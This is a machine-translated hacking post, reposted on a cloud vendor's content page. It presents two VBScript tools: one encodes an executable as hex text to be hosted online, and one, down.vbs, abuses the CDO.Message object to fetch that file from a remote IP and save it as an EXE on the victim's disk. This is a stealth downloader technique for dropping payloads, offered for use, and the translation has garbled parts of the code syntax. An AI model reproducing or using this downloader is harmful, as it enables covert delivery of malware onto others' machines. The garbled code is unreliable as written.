VBS download method (CDO. MESSAGE)

Source: Internet
Author: User

So I studied it for a while. Write a rough DEMO.
Exe2hex. vbs // exe2vbs written by xiaolu. I changed it to direct drag-and-drop and convert it to hexadecimal
========================================================== ========== Copy codeThe code is as follows: 'Code by xiaolu
'Change by NetPatch
On error resume next
Set arg = wscript. arguments
If arg. count = 0 then wscript. quit
Do while 1
Fname = arg (0)
Err. number = 0
Set Ado = CreateObject ("adodb. stream ")
With Ado
. Type = 1
. Open
. Loadfromfile fname
Ss =. read
End
If err. number <> 0 then
If msgbox ("file opening error! ", 1," File2VBS ") = 2 then Wscript. quit
Else
Exit do
End if
Loop
If fname = "" then Wscript. quit
Set Fso = CreateObject ("Scripting. FileSystemObject ")
Set File = fso. OpenTextFile (arg (0) & ". htm", 2, True)
File. write Bin2Str (ss)
File. close
Set fso = nothing
Ado. close
Set Abo = nothing
Function Bin2Str (Re)
For I = 1 To lenB (Re)
Bt = AscB (MidB (Re, I, 1 ))
If bt <16 Then Bin2Str = Bin2Str & "0"
Bin2Str = Bin2Str & Hex (bt)
Next
End Function

==============================================
Downloader down. vbs
==================Copy codeThe Code is as follows: on error resume next
Set arg = wscript. arguments
If arg. count = 0 then wscript. quit
'Code by NetPatch
'Cscript down. vbs http: // 122.136.32.55/demo.htm c: \ good.exe
Set Mail1 = CreateObject ("CDO. Message ")
Mail1.CreateMHTMLBody arg (0), 31
Ss = Mail1.HTMLBody
Set Mail1 = Nothing
Set RS = CreateObject ("ADODB. Recordset ")
L = Len (ss)/2
RS. Fields. Append "m", 205, L
RS. Open: RS. AddNew
RS ("m") = ss & ChrB (0)
RS. Update
Ss = RS ("m"). GetChunk (L)
Set s = CreateObject ("ADODB. Stream ")
With s
. Mode = 3
. Type = 1
. Open ()
. Write ss
. SaveToFile arg (1), 2
End

========================================
After the demo.htm content is converted to EXE by using exe2hex. vbs
Usage:
1.exe 2hex. vbs converts exe to hexadecimal format and puts it on the network.
2. down. vbs http: // xxx/demo.htm c: \ good.exe

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.